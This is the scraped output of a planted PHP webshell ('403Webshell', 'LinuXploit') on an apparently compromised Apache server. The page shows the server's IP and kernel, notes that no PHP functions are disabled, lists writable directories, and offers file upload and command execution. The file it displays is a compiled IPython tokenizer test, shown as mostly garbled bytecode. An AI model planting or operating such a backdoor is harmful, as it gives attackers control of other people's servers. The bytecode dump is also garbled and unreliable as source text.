403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/IPython/utils/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/IPython/utils/tests/__pycache__/test_tokenutil.cpython-311.pyc
�

�@�cN���dZddlZddlmZmZd�Zd�Zd�Zd�Zd�Z	d	�Z
d
�Zd�Zej
�deeed
d����eedd����zdgdzdgdzz����d���ZdS)zTests for tokenutil�N)�token_at_cursor�line_at_cursorc��t||��}d}|���D]/}|t|��z|krn|t|��dzz
}�0||z
}|d|��d||d���}||ksJd||||fz���dS)Nr��|z#Expected %r, got %r in: %r (pos %i))r�
splitlines�len)�expected�cell�
cursor_pos�token�offset�line�column�line_with_cursors        �D/usr/lib/python3/dist-packages/IPython/utils/tests/test_tokenutil.py�expect_tokenr	s����D�*�-�-�E�
�F����!�!�"�"���C��I�I���+�+��E��c�$�i�i��k�!�F�F�
�&�
 �F�"&�w��w�-�-�-��f�g�g���?���H����C��
���	G�������c�j�d}tt|����D]}td||���dS)N�foo)�ranger	r)r�is  r�test_simplersC���D�
�3�t�9�9�
�
�%�%���U�D�!�$�$�$�$�%�%rc��d}d}t|�d��dz��D]}td||���|�d��dz|�d��dzfD]}td||���t|�d��|�d����D]}td||���dS)Nzfoo(a=5, b='10')r�a=r�=�,zb=)r�findr�rfind)rr
rs   r�
test_functionr  s����D��H�
�4�9�9�T�?�?�Q�&�
'�
'�%�%���U�D�!�$�$�$�$��i�i��n�n�q� �$�*�*�S�/�/�A�"5�
6�%�%���U�D�!�$�$�$�$�
�4�9�9�S�>�>�4�9�9�T�?�?�
3�
3�%�%���U�D�!�$�$�$�$�%�%rc�l�d�ddg��}d}|�|��dz}t||t|��z��D]}t	|||���d}|�|��dz}t||t|��z��D]}t	|||���dS)N�
za = 5�b = hello("string", there)�hellor��join�indexrr	r�rr
�startrs    r�test_multiliner*-s����9�9��$����D��H��J�J�x� � �1�$�E�
�5�%�#�h�-�-�/�
0�
0�(�(���X�t�Q�'�'�'�'��H��J�J�x� � �1�$�E�
�5�%�#�h�-�-�/�
0�
0�(�(���X�t�Q�'�'�'�'�(�(rc�l�d�gd���}d}|�|��dz}t||t|��z��D]}t	|||���d}|�|��dz}t||t|��z��D]}t	|||���dS)Nr")z"""

xxxxxxxxxx

"""z5, """�	docstringzmultiline tokenz""", [z2, 3, "complicated"]r#r$rr%r(s    r�test_multiline_tokenr-;s����9�9������D��H��J�J�x� � �1�$�E�
�5�%�#�h�-�-�/�
0�
0�(�(���X�t�Q�'�'�'�'��H��J�J�x� � �1�$�E�
�5�%�#�h�-�-�/�
0�
0�(�(���X�t�Q�'�'�'�'�(�(rc��d}d}|�d��dz}t||dz��D]}t|||���d}|�d��}t||dz��D]}t|||���d}|�d��dz}t|t|��dz
��D]}t|||���dS)Nzfoo(bar(a=5), b=10)r�barr�r�))r'rrr	r(s    r�test_nested_callr2Ns��� �D��H��J�J�u����!�E�
�5�%�!�)�
$�
$�(�(���X�t�Q�'�'�'�'��H��J�J�t���E�
�5�%�!�)�
$�
$�(�(���X�t�Q�'�'�'�'��H��J�J�s�O�O�a��E�
�5�#�d�)�)�A�+�
&�
&�(�(���X�t�Q�'�'�'�'�(�(rc��d}d}|�d��dz}t||dz��D]}t|||���|�d��dz}d}t||dz��D]}t|||���|�d	��dz}d
}t|t|����D]}t|||���dS)Nza = obj.attr.subattr�objrr0z.attr�zobj.attr�z.subattrzobj.attr.subattr)rrrr	)rr
�idxrs    r�
test_attrsr8]s���!�D��H�
�)�)�E�
�
�Q�
�C�
�3��a��
 �
 �(�(���X�t�Q�'�'�'�'�
�)�)�G�
�
�q�
 �C��H�
�3��a��
 �
 �(�(���X�t�Q�'�'�'�'�
�)�)�J�
�
�!�
#�C�!�H�
�3��D�	�	�
"�
"�(�(���X�t�Q�'�'�'�'�(�(rc���d}t|d���\}}|dksJ�|dksJ�d}t|d���\}}|dksJ�|dksJ�d}t|d	���\}}|d
ksJ�|dksJ�dS)N��)rrzOne
Two
r6zTwo
zpri
pri��pri)r)rrrs   r�test_line_at_cursorr>ls���
�D�#�D�R�8�8�8�N�T�6��2�:�:�:�:��Q�;�;�;�;��D�#�D�Q�7�7�7�N�T�6��7�?�?�?�?��Q�;�;�;�;��D�#�D�Q�7�7�7�N�T�6��5�=�=�=�=��Q�;�;�;�;�;�;rzc, token����int��mapc�,�d}t|||��dS)Nza = (1,
    3)

int()
map()
)r)�cr
rs   r�test_multiline_statementrGs#���D����a� � � � � r)�__doc__�pytest�IPython.utils.tokenutilrrrrr r*r-r2r8r>�mark�parametrize�zip�listrrG�rr�<module>rPs8�����
�
�
�C�C�C�C�C�C�C�C����$%�%�%�
%�%�%�(�(�(�(�(�(�&
(�
(�
(�
(�
(�
(����&������C���U�U�2�r�]�]���d�d�5�5��R�=�=�1�1�1�	��7��u�g��1�1�����!�!���!�!�!r

Youez - 2016 - github.com/yon3zu
LinuXploit